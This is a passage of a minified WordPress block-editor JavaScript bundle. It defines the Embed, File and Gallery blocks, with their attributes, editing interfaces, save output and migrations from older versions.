r=at()("wp-block-embed",{[`is-type-${o}`]:o,[`is-provider-${a}`]:a});return(0,$e.createElement)("figure",{className:r},`\n${t}\n`,!Ze.RichText.isEmpty(n)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:n}))}}],Pi={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/embed",title:"Embed",category:"embed",description:"Add a block that displays content pulled from other sites, like Twitter or YouTube.",textdomain:"default",attributes:{url:{type:"string",__experimentalRole:"content"},caption:{type:"string",source:"html",selector:"figcaption",__experimentalRole:"content"},type:{type:"string",__experimentalRole:"content"},providerNameSlug:{type:"string",__experimentalRole:"content"},allowResponsive:{type:"boolean",default:!0},responsive:{type:"boolean",default:!1,__experimentalRole:"content"},previewable:{type:"boolean",default:!0,__experimentalRole:"content"}},supports:{align:!0},editorStyle:"wp-block-embed-editor",style:"wp-block-embed"},{name:Ii}=Pi,zi={icon:Jl,edit:e=>{const{attributes:{providerNameSlug:t,previewable:n,responsive:o,url:a},attributes:r,isSelected:l,onReplace:i,setAttributes:s,insertBlocksAfter:c,onFocus:u}=e,m={title:(0,je._x)("Embed","block title"),icon:Jl},{icon:d,title:p}=(g=t,(null===(h=(0,Ge.getBlockVariations)(It))||void 0===h?void 0:h.find((e=>{let{name:t}=e;return t===g})))||m);var g,h;const[v,b]=(0,$e.useState)(a),[_,y]=(0,$e.useState)(!1),{invalidateResolution:f}=(0,it.useDispatch)(lt.store),{preview:k,fetching:x,themeSupportsResponsive:w,cannotEmbed:E}=(0,it.useSelect)((e=>{var t;const{getEmbedPreview:n,isPreviewEmbedFallback:o,isRequestingEmbedPreview:r,getThemeSupports:l}=e(lt.store);if(!a)return{fetching:!1,cannotEmbed:!1};const i=n(a),s=o(a),c=!1===(null==i?void 0:i.html)&&void 0===(null==i?void 0:i.type),u=404===(null==i||null===(t=i.data)||void 0===t?void 0:t.status),m=!!i&&!c&&!u;return{preview:m?i:void 0,fetching:r(a),themeSupportsResponsive:l()["responsive-embeds"],cannotEmbed:!m||s}}),[a]),C=function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0];return Ht(r,k,p,o,e)};(0,$e.useEffect)((()=>{if(null==k||!k.html||!E||x)return;const e=a.replace(/\/$/,"");b(e),y(!1),s({url:e})}),[null==k?void 0:k.html,a]),(0,$e.useEffect)((()=>{if(k&&!_&&(s(C(!0)),i)){const t=Lt(e,C());t&&i(t)}}),[k,_]);const S=(0,Ze.useBlockProps)();if(x)return(0,$e.createElement)(Ue.View,S,(0,$e.createElement)(_i,null));// translators: %s: type of embed e.g: "YouTube", "Twitter", etc. "Embed" is used when no specific type exists
const B=(0,je.sprintf)((0,je.__)("%s URL"),p);if(!k||E||_)return(0,$e.createElement)(Ue.View,S,(0,$e.createElement)(yi,{icon:d,label:B,onFocus:u,onSubmit:e=>{e&&e.preventDefault(),y(!1),s({url:v})},value:v,cannotEmbed:E,onChange:e=>b(e.target.value),fallback:()=>function(e,t){const n=(0,$e.createElement)("a",{href:e},e);t((0,Ge.createBlock)("core/paragraph",{content:(0,$e.renderToString)(n)}))}(v,i),tryAgain:()=>{f("getEmbedPreview",[v])}}));const{caption:T,type:N,allowResponsive:P,className:I}=C(),z=at()(I,e.className);return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Yl,{showEditButton:k&&!E,themeSupportsResponsive:w,blockSupportsResponsive:o,allowResponsive:P,toggleResponsive:()=>{const{allowResponsive:e,className:t}=r,{html:n}=k,a=!e;s({allowResponsive:a,className:At(n,t,o&&a)})},switchBackToURLInput:()=>y(!0)}),(0,$e.createElement)(Ue.View,S,(0,$e.createElement)(wi,{preview:k,previewable:n,className:z,url:v,type:N,caption:T,onCaptionChange:e=>s({caption:e}),isSelected:l,icon:d,label:B,insertBlocksAfter:c})))},save:function(e){let{attributes:t}=e;const{url:n,caption:o,type:a,providerNameSlug:r}=t;if(!n)return null;const l=Tt()("wp-block-embed",{[`is-type-${a}`]:a,[`is-provider-${r}`]:r,[`wp-block-embed-${r}`]:r});return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:l}),(0,$e.createElement)("div",{className:"wp-block-embed__wrapper"},`\n${n}\n`),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{className:(0,Ze.__experimentalGetElementClassName)("caption"),tagName:"figcaption",value:o}))},transforms:Ci,variations:Bi,deprecated:Ni},Mi=()=>qe({name:Ii,metadata:Pi,settings:zi}),Li=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M19 6.2h-5.9l-.6-1.1c-.3-.7-1-1.1-1.8-1.1H5c-1.1 0-2 .9-2 2v11.8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V8.2c0-1.1-.9-2-2-2zm.5 11.6c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h5.8c.2 0 .4.1.4.3l1 2H19c.3 0 .5.2.5.5v9.5z"})),Ri={attributes:{id:{type:"number"},href:{type:"string"},fileId:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"id"},fileName:{type:"string",source:"html",selector:"a:not([download])"},textLinkHref:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"href"},textLinkTarget:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"target"},showDownloadButton:{type:"boolean",default:!0},downloadButtonText:{type:"string",source:"html",selector:"a[download]"},displayPreview:{type:"boolean"},previewHeight:{type:"number",default:600}},supports:{anchor:!0,align:!0},save(e){let{attributes:t}=e;const{href:n,fileId:o,fileName:a,textLinkHref:r,textLinkTarget:l,showDownloadButton:i,downloadButtonText:s,displayPreview:c,previewHeight:u}=t,m=Ze.RichText.isEmpty(a)?(0,je.__)("PDF embed"):(0,je.sprintf)(
/* translators: %s: filename. */
(0,je.__)("Embed of %s."),a),d=!Ze.RichText.isEmpty(a),p=d?o:void 0;return n&&(0,$e.createElement)("div",Ze.useBlockProps.save(),c&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("object",{className:"wp-block-file__embed",data:n,type:"application/pdf",style:{width:"100%",height:`${u}px`},"aria-label":m})),d&&(0,$e.createElement)("a",{id:p,href:r,target:l,rel:l?"noreferrer noopener":void 0},(0,$e.createElement)(Ze.RichText.Content,{value:a})),i&&(0,$e.createElement)("a",{href:n,className:at()("wp-block-file__button",(0,Ze.__experimentalGetElementClassName)("button")),download:!0,"aria-describedby":p},(0,$e.createElement)(Ze.RichText.Content,{value:s})))}},Ai={attributes:{id:{type:"number"},href:{type:"string"},fileName:{type:"string",source:"html",selector:"a:not([download])"},textLinkHref:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"href"},textLinkTarget:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"target"},showDownloadButton:{type:"boolean",default:!0},downloadButtonText:{type:"string",source:"html",selector:"a[download]"},displayPreview:{type:"boolean"},previewHeight:{type:"number",default:600}},supports:{anchor:!0,align:!0},save(e){let{attributes:t}=e;const{href:n,fileName:o,textLinkHref:a,textLinkTarget:r,showDownloadButton:l,downloadButtonText:i,displayPreview:s,previewHeight:c}=t,u=Ze.RichText.isEmpty(o)?(0,je.__)("PDF embed"):(0,je.sprintf)(
/* translators: %s: filename. */
(0,je.__)("Embed of %s."),o);return n&&(0,$e.createElement)("div",Ze.useBlockProps.save(),s&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("object",{className:"wp-block-file__embed",data:n,type:"application/pdf",style:{width:"100%",height:`${c}px`},"aria-label":u})),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)("a",{href:a,target:r,rel:r?"noreferrer noopener":void 0},(0,$e.createElement)(Ze.RichText.Content,{value:o})),l&&(0,$e.createElement)("a",{href:n,className:"wp-block-file__button",download:!0},(0,$e.createElement)(Ze.RichText.Content,{value:i})))}},Vi=[Ri,Ai];function Hi(e){let{hrefs:t,openInNewWindow:n,showDownloadButton:o,changeLinkDestinationOption:a,changeOpenInNewWindow:r,changeShowDownloadButton:l,displayPreview:i,changeDisplayPreview:s,previewHeight:c,changePreviewHeight:u}=e;const{href:m,textLinkHref:d,attachmentPage:p}=t;let g=[{value:m,label:(0,je.__)("URL")}];return p&&(g=[{value:m,label:(0,je.__)("Media file")},{value:p,label:(0,je.__)("Attachment page")}]),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,m.endsWith(".pdf")&&(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("PDF settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show inline embed"),help:i?(0,je.__)("Note: Most phone and tablet browsers won't display embedded PDFs."):null,checked:!!i,onChange:s}),i&&(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Height in pixels"),min:Fi,max:Math.max(Gi,c),value:c,onChange:u})),(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Link to"),value:d,options:g,onChange:a}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),checked:n,onChange:r}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Show download button"),checked:o,onChange:l}))))}const Di=e=>{let t;try{t=new window.ActiveXObject(e)}catch(e){t=void 0}return t},Fi=200,Gi=2e3;function $i(e){let{text:t,disabled:n}=e;const{createNotice:o}=(0,it.useDispatch)(wt.store),a=(0,Wt.useCopyToClipboard)(t,(()=>{o("info",(0,je.__)("Copied URL to clipboard."),{isDismissible:!0,type:"snackbar"})}));return(0,$e.createElement)(We.ToolbarButton,{className:"components-clipboard-toolbar-button",ref:a,disabled:n},(0,je.__)("Copy URL"))}const Ui={from:[{type:"files",isMatch:e=>e.length>0,priority:15,transform:e=>{const t=[];return e.forEach((e=>{const n=(0,xt.createBlobURL)(e);t.push((0,Ge.createBlock)("core/file",{href:n,fileName:e.name,textLinkHref:n}))})),t}},{type:"block",blocks:["core/audio"],transform:e=>(0,Ge.createBlock)("core/file",{href:e.src,fileName:e.caption,textLinkHref:e.src,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/video"],transform:e=>(0,Ge.createBlock)("core/file",{href:e.src,fileName:e.caption,textLinkHref:e.src,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/image"],transform:e=>(0,Ge.createBlock)("core/file",{href:e.url,fileName:e.caption||(0,rt.getFilename)(e.url),textLinkHref:e.url,id:e.id,anchor:e.anchor})}],to:[{type:"block",blocks:["core/audio"],isMatch:e=>{let{id:t}=e;if(!t)return!1;const{getMedia:n}=(0,it.select)(lt.store),o=n(t);return!!o&&(0,St.includes)(o.mime_type,"audio")},transform:e=>(0,Ge.createBlock)("core/audio",{src:e.href,caption:e.fileName,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/video"],isMatch:e=>{let{id:t}=e;if(!t)return!1;const{getMedia:n}=(0,it.select)(lt.store),o=n(t);return!!o&&(0,St.includes)(o.mime_type,"video")},transform:e=>(0,Ge.createBlock)("core/video",{src:e.href,caption:e.fileName,id:e.id,anchor:e.anchor})},{type:"block",blocks:["core/image"],isMatch:e=>{let{id:t}=e;if(!t)return!1;const{getMedia:n}=(0,it.select)(lt.store),o=n(t);return!!o&&(0,St.includes)(o.mime_type,"image")},transform:e=>(0,Ge.createBlock)("core/image",{url:e.href,caption:e.fileName,id:e.id,anchor:e.anchor})}]},Oi=Ui,qi={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/file",title:"File",category:"media",description:"Add a link to a downloadable file.",keywords:["document","pdf","download"],textdomain:"default",attributes:{id:{type:"number"},href:{type:"string"},fileId:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"id"},fileName:{type:"string",source:"html",selector:"a:not([download])"},textLinkHref:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"href"},textLinkTarget:{type:"string",source:"attribute",selector:"a:not([download])",attribute:"target"},showDownloadButton:{type:"boolean",default:!0},downloadButtonText:{type:"string",source:"html",selector:"a[download]"},displayPreview:{type:"boolean"},previewHeight:{type:"number",default:600}},supports:{anchor:!0,align:!0},viewScript:"file:./view.min.js",editorStyle:"wp-block-file-editor",style:"wp-block-file"},{name:Wi}=qi,ji={icon:Li,example:{attributes:{href:"https://upload.wikimedia.org/wikipedia/commons/d/dd/Armstrong_Small_Step.ogg",fileName:(0,je._x)("Armstrong_Small_Step","Name of the file")}},transforms:Oi,deprecated:Vi,edit:function(e){let{attributes:t,isSelected:n,setAttributes:o,clientId:a}=e;const{id:r,fileId:l,fileName:i,href:s,textLinkHref:c,textLinkTarget:u,showDownloadButton:m,downloadButtonText:d,displayPreview:p,previewHeight:g}=t,{media:h,mediaUpload:v}=(0,it.useSelect)((e=>({media:void 0===r?void 0:e(lt.store).getMedia(r),mediaUpload:e(Ze.store).getSettings().mediaUpload})),[r]),{createErrorNotice:b}=(0,it.useDispatch)(wt.store),{toggleSelection:_,__unstableMarkNextChangeAsNotPersistent:y}=(0,it.useDispatch)(Ze.store);function f(e){if(e&&e.url){const t=e.url.endsWith(".pdf");o({href:e.url,fileName:e.title,textLinkHref:e.url,id:e.id,displayPreview:!!t||void 0,previewHeight:t?600:void 0})}}function k(e){o({href:void 0}),b(e,{type:"snackbar"})}function x(e){o({downloadButtonText:e.replace(/<\/?a[^>]*>/g,"")})}(0,$e.useEffect)((()=>{if((0,xt.isBlobURL)(s)){const e=(0,xt.getBlobByURL)(s);v({filesList:[e],onFileChange:e=>{let[t]=e;return f(t)},onError:k}),(0,xt.revokeBlobURL)(s)}void 0===d&&x((0,je._x)("Download","button label"))}),[]),(0,$e.useEffect)((()=>{!l&&s&&(y(),o({fileId:`wp-block-file--media-${a}`}))}),[s,l,a]);const w=h&&h.link,E=(0,Ze.useBlockProps)({className:at()((0,xt.isBlobURL)(s)&&(0,We.__unstableGetAnimateClassName)({type:"loading"}),{"is-transient":(0,xt.isBlobURL)(s)})}),C=!(window.navigator.userAgent.indexOf("Mobi")>-1||window.navigator.userAgent.indexOf("Android")>-1||window.navigator.userAgent.indexOf("Macintosh")>-1&&window.navigator.maxTouchPoints&&window.navigator.maxTouchPoints>2||(window.ActiveXObject||"ActiveXObject"in window)&&!Di("AcroPDF.PDF")&&!Di("PDF.PdfCtrl"))&&p;return s?(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Hi,{hrefs:{href:s,textLinkHref:c,attachmentPage:w},openInNewWindow:!!u,showDownloadButton:m,changeLinkDestinationOption:function(e){o({textLinkHref:e})},changeOpenInNewWindow:function(e){o({textLinkTarget:!!e&&"_blank"})},changeShowDownloadButton:function(e){o({showDownloadButton:e})},displayPreview:p,changeDisplayPreview:function(e){o({displayPreview:e})},previewHeight:g,changePreviewHeight:function(e){const t=Math.max(parseInt(e,10),Fi);o({previewHeight:t})}}),(0,$e.createElement)(Ze.BlockControls,{group:"other"},(0,$e.createElement)(Ze.MediaReplaceFlow,{mediaId:r,mediaURL:s,accept:"*",onSelect:f,onError:k}),(0,$e.createElement)($i,{text:s,disabled:(0,xt.isBlobURL)(s)})),(0,$e.createElement)("div",E,C&&(0,$e.createElement)(We.ResizableBox,{size:{height:g},minHeight:Fi,maxHeight:Gi,minWidth:"100%",grid:[10,10],enable:{top:!1,right:!1,bottom:!0,left:!1,topRight:!1,bottomRight:!1,bottomLeft:!1,topLeft:!1},onResizeStart:()=>_(!1),onResizeStop:function(e,t,n,a){_(!0);const r=parseInt(g+a.height,10);o({previewHeight:r})},showHandle:n},(0,$e.createElement)("object",{className:"wp-block-file__preview",data:s,type:"application/pdf","aria-label":(0,je.__)("Embed of the selected PDF file.")}),!n&&(0,$e.createElement)("div",{className:"wp-block-file__preview-overlay"})),(0,$e.createElement)("div",{className:"wp-block-file__content-wrapper"},(0,$e.createElement)(Ze.RichText,{tagName:"a",value:i,placeholder:(0,je.__)("Write file name…"),withoutInteractiveFormatting:!0,onChange:e=>o({fileName:e}),href:c}),m&&(0,$e.createElement)("div",{className:"wp-block-file__button-richtext-wrapper"},(0,$e.createElement)(Ze.RichText,{tagName:"div","aria-label":(0,je.__)("Download button text"),className:at()("wp-block-file__button",(0,Ze.__experimentalGetElementClassName)("button")),value:d,withoutInteractiveFormatting:!0,placeholder:(0,je.__)("Add text…"),onChange:e=>x(e)}))))):(0,$e.createElement)("div",E,(0,$e.createElement)(Ze.MediaPlaceholder,{icon:(0,$e.createElement)(Ze.BlockIcon,{icon:Li}),labels:{title:(0,je.__)("File"),instructions:(0,je.__)("Upload a file or pick one from your media library.")},onSelect:f,onError:k,accept:"*"}))},save:function(e){let{attributes:t}=e;const{href:n,fileId:o,fileName:a,textLinkHref:r,textLinkTarget:l,showDownloadButton:i,downloadButtonText:s,displayPreview:c,previewHeight:u}=t,m=Ze.RichText.isEmpty(a)?"PDF embed":a,d=!Ze.RichText.isEmpty(a),p=d?o:void 0;return n&&(0,$e.createElement)("div",Ze.useBlockProps.save(),c&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)("object",{className:"wp-block-file__embed",data:n,type:"application/pdf",style:{width:"100%",height:`${u}px`},"aria-label":m})),d&&(0,$e.createElement)("a",{id:p,href:r,target:l,rel:l?"noreferrer noopener":void 0},(0,$e.createElement)(Ze.RichText.Content,{value:a})),i&&(0,$e.createElement)("a",{href:n,className:at()("wp-block-file__button",(0,Ze.__experimentalGetElementClassName)("button")),download:!0,"aria-describedby":p},(0,$e.createElement)(Ze.RichText.Content,{value:s})))}},Zi=()=>qe({name:Wi,metadata:qi,settings:ji}),Qi=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M20.2 8v11c0 .7-.6 1.2-1.2 1.2H6v1.5h13c1.5 0 2.7-1.2 2.7-2.8V8h-1.5zM18 16.4V4.6c0-.9-.7-1.6-1.6-1.6H4.6C3.7 3 3 3.7 3 4.6v11.8c0 .9.7 1.6 1.6 1.6h11.8c.9 0 1.6-.7 1.6-1.6zM4.5 4.6c0-.1.1-.1.1-.1h11.8c.1 0 .1.1.1.1V12l-2.3-1.7c-.3-.2-.6-.2-.9 0l-2.9 2.1L8 11.3c-.2-.1-.5-.1-.7 0l-2.9 1.5V4.6zm0 11.8v-1.8l3.2-1.7 2.4 1.2c.2.1.5.1.8-.1l2.8-2 2.8 2v2.5c0 .1-.1.1-.1.1H4.6c0-.1-.1-.2-.1-.2z"})),Ki="none",Yi="media",Ji="attachment",Xi=function(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"large";const n=(0,St.pick)(e,["alt","id","link"]);n.url=(0,St.get)(e,["sizes",t,"url"])||(0,St.get)(e,["media_details","sizes",t,"source_url"])||e.url||e.source_url;const o=(0,St.get)(e,["sizes","full","url"])||(0,St.get)(e,["media_details","sizes","full","source_url"]);return o&&(n.fullUrl=o),n};function es(){return $e.Platform.isNative,function(){if(!window.wp||"boolean"!=typeof window.wp.galleryBlockV2Enabled)throw"window.wp.galleryBlockV2Enabled is not defined";return window.wp.galleryBlockV2Enabled}()}const ts="file",ns="post";function os(e){var t;return Math.min(3,null==e||null===(t=e.images)||void 0===t?void 0:t.length)}function as(e,t){switch(t){case ts:return{href:(null==e?void 0:e.source_url)||(null==e?void 0:e.url),linkDestination:Yi};case ns:return{href:null==e?void 0:e.link,linkDestination:Ji};case Yi:return{href:(null==e?void 0:e.source_url)||(null==e?void 0:e.url),linkDestination:Yi};case Ji:return{href:null==e?void 0:e.link,linkDestination:Ji};case Ki:return{href:void 0,linkDestination:Ki}}return{}}function rs(e){let t=e.linkTo?e.linkTo:"none";"post"===t?t="attachment":"file"===t&&(t="media");const n=e.images.map((n=>function(e,t,n){return(0,Ge.createBlock)("core/image",{...e.id&&{id:parseInt(e.id)},url:e.url,alt:e.alt,caption:e.caption,sizeSlug:t,...as(e,n)})}(n,e.sizeSlug,t))),{images:o,ids:a,...r}=e;return[{...r,linkTo:t,allowResize:!1},n]}const ls={attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},fullUrl:{type:"string",source:"attribute",selector:"img",attribute:"data-full-url"},link:{type:"string",source:"attribute",selector:"img",attribute:"data-link"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},id:{type:"string",source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",items:{type:"number"},default:[]},columns:{type:"number",minimum:1,maximum:8},caption:{type:"string",source:"html",selector:".blocks-gallery-caption"},imageCrop:{type:"boolean",default:!0},fixedHeight:{type:"boolean",default:!0},linkTo:{type:"string"},sizeSlug:{type:"string",default:"large"}},supports:{anchor:!0,align:!0},save(e){let{attributes:t}=e;const{images:n,columns:o=os(t),imageCrop:a,caption:r,linkTo:l}=t,i=`columns-${o} ${a?"is-cropped":""}`;return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:i}),(0,$e.createElement)("ul",{className:"blocks-gallery-grid"},n.map((e=>{let t;switch(l){case ts:t=e.fullUrl||e.url;break;case ns:t=e.link}const n=(0,$e.createElement)("img",{src:e.url,alt:e.alt,"data-id":e.id,"data-full-url":e.fullUrl,"data-link":e.link,className:e.id?`wp-image-${e.id}`:null});return(0,$e.createElement)("li",{key:e.id||e.url,className:"blocks-gallery-item"},(0,$e.createElement)("figure",null,t?(0,$e.createElement)("a",{href:t},n):n,!Ze.RichText.isEmpty(e.caption)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-item__caption",value:e.caption})))}))),!Ze.RichText.isEmpty(r)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-caption",value:r}))},migrate:e=>es()?rs(e):e},is={attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{type:"string",source:"attribute",selector:"img",attribute:"src"},fullUrl:{type:"string",source:"attribute",selector:"img",attribute:"data-full-url"},link:{type:"string",source:"attribute",selector:"img",attribute:"data-link"},alt:{type:"string",source:"attribute",selector:"img",attribute:"alt",default:""},id:{type:"string",source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",items:{type:"number"},default:[]},columns:{type:"number",minimum:1,maximum:8},caption:{type:"string",source:"html",selector:".blocks-gallery-caption"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"},sizeSlug:{type:"string",default:"large"}},supports:{align:!0},isEligible(e){let{linkTo:t}=e;return!t||"attachment"===t||"media"===t},migrate(e){if(es())return rs(e);let t=e.linkTo;return e.linkTo?"attachment"===e.linkTo?t="post":"media"===e.linkTo&&(t="file"):t="none",{...e,linkTo:t}},save(e){let{attributes:t}=e;const{images:n,columns:o=os(t),imageCrop:a,caption:r,linkTo:l}=t;return(0,$e.createElement)("figure",{className:`columns-${o} ${a?"is-cropped":""}`},(0,$e.createElement)("ul",{className:"blocks-gallery-grid"},n.map((e=>{let t;switch(l){case"media":t=e.fullUrl||e.url;break;case"attachment":t=e.link}const n=(0,$e.createElement)("img",{src:e.url,alt:e.alt,"data-id":e.id,"data-full-url":e.fullUrl,"data-link":e.link,className:e.id?`wp-image-${e.id}`:null});return(0,$e.createElement)("li",{key:e.id||e.url,className:"blocks-gallery-item"},(0,$e.createElement)("figure",null,t?(0,$e.createElement)("a",{href:t},n):n,!Ze.RichText.isEmpty(e.caption)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-item__caption",value:e.caption})))}))),!Ze.RichText.isEmpty(r)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-caption",value:r}))}},ss={attributes:{images:{type:"array",default:[],source:"query",selector:".blocks-gallery-item",query:{url:{source:"attribute",selector:"img",attribute:"src"},fullUrl:{source:"attribute",selector:"img",attribute:"data-full-url"},link:{source:"attribute",selector:"img",attribute:"data-link"},alt:{source:"attribute",selector:"img",attribute:"alt",default:""},id:{source:"attribute",selector:"img",attribute:"data-id"},caption:{type:"string",source:"html",selector:".blocks-gallery-item__caption"}}},ids:{type:"array",default:[]},columns:{type:"number"},caption:{type:"string",source:"html",selector:".blocks-gallery-caption"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"}},supports:{align:!0},isEligible(e){let{ids:t}=e;return t&&t.some((e=>"string"==typeof e))},migrate:e=>es()?rs(e):{...e,ids:(0,St.map)(e.ids,(e=>{const t=parseInt(e,10);return Number.isInteger(t)?t:null}))},save(e){let{attributes:t}=e;const{images:n,columns:o=os(t),imageCrop:a,caption:r,linkTo:l}=t;return(0,$e.createElement)("figure",{className:`columns-${o} ${a?"is-cropped":""}`},(0,$e.createElement)("ul",{className:"blocks-gallery-grid"},n.map((e=>{let t;switch(l){case"media":t=e.fullUrl||e.url;break;case"attachment":t=e.link}const n=(0,$e.createElement)("img",{src:e.url,alt:e.alt,"data-id":e.id,"data-full-url":e.fullUrl,"data-link":e.link,className:e.id?`wp-image-${e.id}`:null});return(0,$e.createElement)("li",{key:e.id||e.url,className:"blocks-gallery-item"},(0,$e.createElement)("figure",null,t?(0,$e.createElement)("a",{href:t},n):n,!Ze.RichText.isEmpty(e.caption)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-item__caption",value:e.caption})))}))),!Ze.RichText.isEmpty(r)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",className:"blocks-gallery-caption",value:r}))}},cs={attributes:{images:{type:"array",default:[],source:"query",selector:"ul.wp-block-gallery .blocks-gallery-item",query:{url:{source:"attribute",selector:"img",attribute:"src"},fullUrl:{source:"attribute",selector:"img",attribute:"data-full-url"},alt:{source:"attribute",selector:"img",attribute:"alt",default:""},id:{source:"attribute",selector:"img",attribute:"data-id"},link:{source:"attribute",selector:"img",attribute:"data-link"},caption:{type:"string",source:"html",selector:"figcaption"}}},ids:{type:"array",default:[]},columns:{type:"number"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"}},supports:{align:!0},save(e){let{attributes:t}=e;const{images:n,columns:o=os(t),imageCrop:a,linkTo:r}=t;return(0,$e.createElement)("ul",{className:`columns-${o} ${a?"is-cropped":""}`},n.map((e=>{let t;switch(r){case"media":t=e.fullUrl||e.url;break;case"attachment":t=e.link}const n=(0,$e.createElement)("img",{src:e.url,alt:e.alt,"data-id":e.id,"data-full-url":e.fullUrl,"data-link":e.link,className:e.id?`wp-image-${e.id}`:null});return(0,$e.createElement)("li",{key:e.id||e.url,className:"blocks-gallery-item"},(0,$e.createElement)("figure",null,t?(0,$e.createElement)("a",{href:t},n):n,e.caption&&e.caption.length>0&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:e.caption})))})))},migrate:e=>es()?rs(e):e},us={attributes:{images:{type:"array",default:[],source:"query",selector:"ul.wp-block-gallery .blocks-gallery-item",query:{url:{source:"attribute",selector:"img",attribute:"src"},alt:{source:"attribute",selector:"img",attribute:"alt",default:""},id:{source:"attribute",selector:"img",attribute:"data-id"},link:{source:"attribute",selector:"img",attribute:"data-link"},caption:{type:"string",source:"html",selector:"figcaption"}}},columns:{type:"number"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"}},isEligible(e){let{images:t,ids:n}=e;return t&&t.length>0&&(!n&&t||n&&t&&n.length!==t.length||(0,St.some)(t,((e,t)=>!e&&null!==n[t]||parseInt(e,10)!==n[t])))},migrate:e=>es()?rs(e):{...e,ids:(0,St.map)(e.images,(e=>{let{id:t}=e;return t?parseInt(t,10):null}))},supports:{align:!0},save(e){let{attributes:t}=e;const{images:n,columns:o=os(t),imageCrop:a,linkTo:r}=t;return(0,$e.createElement)("ul",{className:`columns-${o} ${a?"is-cropped":""}`},n.map((e=>{let t;switch(r){case"media":t=e.url;break;case"attachment":t=e.link}const n=(0,$e.createElement)("img",{src:e.url,alt:e.alt,"data-id":e.id,"data-link":e.link,className:e.id?`wp-image-${e.id}`:null});return(0,$e.createElement)("li",{key:e.id||e.url,className:"blocks-gallery-item"},(0,$e.createElement)("figure",null,t?(0,$e.createElement)("a",{href:t},n):n,e.caption&&e.caption.length>0&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"figcaption",value:e.caption})))})))}},ms={attributes:{images:{type:"array",default:[],source:"query",selector:"div.wp-block-gallery figure.blocks-gallery-image img",query:{url:{source:"attribute",attribute:"src"},alt:{source:"attribute",attribute:"alt",default:""},id:{source:"attribute",attribute:"data-id"}}},columns:{type:"number"},imageCrop:{type:"boolean",default:!0},linkTo:{type:"string",default:"none"},align:{type:"string",default:"none"}},supports:{align:!0},save(e){let{attributes:t}=e;const{images:n,columns:o=os(t),align:a,imageCrop:r,linkTo:l}=t,i=at()(`columns-${o}`,{alignnone:"none"===a,"is-cropped":r});return(0,$e.createElement)("div",{className:i},n.map((e=>{let t;switch(l){case"media":t=e.url;break;case"attachment":t=e.link}const n=(0,$e.createElement)("img",{src:e.url,alt:e.alt,"data-id":e.id});return(0,$e.createElement)("figure",{key:e.id||e.url,className:"blocks-gallery-image"},t?(0,$e.createElement)("a",{href:t},n):n)})))},migrate:e=>es()?rs(e):e},ds=[ls,is,ss,cs,us,ms],ps=window.wp.viewport,gs=(0,$e.createElement)(Ze.BlockIcon,{icon:Qi}),hs=20,vs="none",bs="media",_s="attachment",ys="custom",fs=["noreferrer","noopener"],ks=["image"];function xs(e,t,n){switch(n||t){case"file":case Yi:return{href:(null==e?void 0:e.source_url)||(null==e?void 0:e.url),linkDestination:bs};case"post":case Ji:return{href:null==e?void 